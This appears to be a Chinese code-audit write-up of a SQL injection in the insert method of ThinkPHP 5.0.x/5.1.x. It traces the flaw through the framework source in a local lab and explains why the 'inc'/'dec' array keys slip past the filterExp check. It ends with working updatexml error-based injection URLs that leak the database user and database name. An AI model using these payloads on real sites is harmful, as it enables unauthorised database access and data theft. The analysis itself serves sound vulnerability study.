0x00 前言

Thinkphp5.x insert位置的注入。

0x01 漏洞简述

跟踪TP insert 方法的调用,发现传入的数据到 Builder 类的 parseData 方法中,并未对插入数据进行过滤。通过构造恶意SQL语句即可造成注入。

影响版本:

5.0.13<=ThinkPHP<=5.0.155.1.0<=ThinkPHP<=5.1.5

0x02 环境搭建

mbp

phpstorm+xdebug

ubuntu+lnmp 192.168.207.6

项目代码拉取:

1
composer create-project --prefer-dist topthink/think=5.0.15 tp

composer.json 文件的 require 字段设置成如下:

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
}

然后执行 composer update ,并将 application/index/controller/Index.php 文件代码设置如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}

application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debugapp_trace 。创建数据库信息如下:

1
2
3
4
5
6
create database test_is;
use test_is;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);

然后我们去访问http://192.168.207.6/index.php?username=1 即可。

image-20210927154241931

0x03 分析

这里使用了phpstorm+xdebug来辅助分析。

我们直接从入口开始跟方法。

首先在当前项目index控制器下跟进insert方法。

image-20210705153408655

通过command + b 跟进insert方法。

来到**/thinkphp/library/think/db/Query.php中的第2079行**insert方法。

这里可以看到通过数组形式传入$data。通过这里可以尝试打几个断点直接来跟一下数据插入过程。

image-20210927170842631

可以看到第2085行是生成sql语句,这里直接在**/thinkphp/library/think/db/Query.php第2085行**打一个断点,跟一下数据传输过程有没有发生变化。

image-20210927171610740

我们访问的url是:

1
http://192.168.207.6/?XDEBUG_SESSION_START=11955&username=1

之后我们来到2085行,直接F8,来到了**/thinkphp/library/think/db/Builder.php的insert方法,通过前面可以看到$this->builder对象调用insert,也就是/thinkphp/library/think/db/Builder.php**中的insert方法。

这里可以再打一个断点,在第721行,跟进处理数据的方法parseData。

image-20210927171514593

$result是一个定义为空的数组,最后返回的结果也是$result。

image-20210927174124782

这里可以单步一步一步跟到parseData方法第114行,可以看到如果$val[0]不是下列case中的任意的值,$result是会返回为空的。

image-20210927174313641

image-20210927174459054

那么$result为0的话,到生成$sql也为0,其实是没有意义的。

image-20210927174831008

这里如果想构造sql 注入,需要传入一个数组。

我们继续来看**/thinkphp/library/think/db/Builder.php中的parseData方法,再次debug来到第114行**。

为什么要传一个数组?

如果传入的是一个数组,形如:

1
http://192.168.207.6/?XDEBUG_SESSION_START=11955&username[0]=exp&username[1]=123

那么会进入到这个elseif分支,通过判断val[0]进入到不同的case分支,这里拿$val[0]=exp 来举例子,按道理来讲会进入,exp分支,$val[1]=123被赋给$result,最终执行字符串语句。

image-20210927175314462

但是在这里并没有进入case分支,可以细节的发现,exp后面多了一个空格。而是进入了下面这个elseif分支。这里可以看到进行了参数绑定,结果肯定不能造成sql注入。

image-20211024145755445

那么我们可以跟一下exp为什么会多了一个空格。

exp在request中的处理

这里重新打了一个断点在get这里(感觉是数据被做了处理,要不然不可能平白无故多个空格)

image-20211024150515587

继续传入参数:

1
http://192.168.207.6/?XDEBUG_SESSION_START=19607&username[0]=exp&username[1]=123123

单步调试跟踪到数组value被一个filterExp方法进行了处理。

image-20211024151047971

image-20211024151147249

可以看到代码,很明显exp字符在请求中被加了一个空格,所以不会进入case ‘exp’分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 过滤表单中的表达式
* @param string $value
* @return void
*/
public function filterExp(&$value)
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
// TODO 其他安全过滤
}

如果想进行正常的非参数绑定拼接sql语句,那么就可以进到inc、dec分支,这里可以看到filterExp方法中没有对这两个进行处理。

当我们继续传入数组数据作为username参数值,这里拿inc作为数组第一个元素举例。

请求:

1
http://192.168.207.6/?XDEBUG_SESSION_START=19607&username[0]=inc&username[1]=123123

单步调试跟进到parseKey方法,具体位置在**/thinkphp/library/think/db/builder/Mysql.php**

image-20211024152713666

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* 字段和表名处理
* @access protected
* @param string $key
* @param array $options
* @return string
*/
protected function parseKey($key, $options = [])
{
$key = trim($key);
if (strpos($key, '$.') && false === strpos($key, '(')) {
// JSON字段支持
list($field, $name) = explode('$.', $key);
$key = 'json_extract(' . $field . ', \'$.' . $name . '\')';
} elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
list($table, $key) = explode('.', $key, 2);
if ('__TABLE__' == $table) {
$table = $this->query->getTable();
}
if (isset($options['alias'][$table])) {
$table = $options['alias'][$table];
}
}
if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {
$key = '`' . $key . '`';
}
if (isset($table)) {
if (strpos($table, '.')) {
$table = str_replace('.', '`.`', $table);
}
$key = '`' . $table . '`.' . $key;
}
return $key;
}

这个方法也只是处理数据,去空格这些的,在114行,return 打断点可以看到数据被原样处理。

image-20211024153028522

到此数据通过数组传入的方式没有被处理,那么我们就可以结束整个parseData方法继续分析下面的,还是在**/thinkphp/library/think/db/Builder.php**的insert方法。

data数据被取出在733行734行被拼接,直接造成sql注入。

image-20211024153922801

0x04 验证

请求1:

1
http://192.168.207.6/?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

image-20211024154217804

请求2:

1
http://192.168.207.6/?username[0]=dec&username[1]=updatexml(1,concat(0x7,database(),0x7e),1)&username[2]=1

image-20211024154321713

成功。

0x05 总结

这里打断点太多太乱了,其实不嫌麻烦的话可以单步调试一步一步跟,这样还能多少体会到tp框架的一些设计思路,总的来说复习了下tp的审计,自我感觉还行,就是分几天来看断点打的有点多。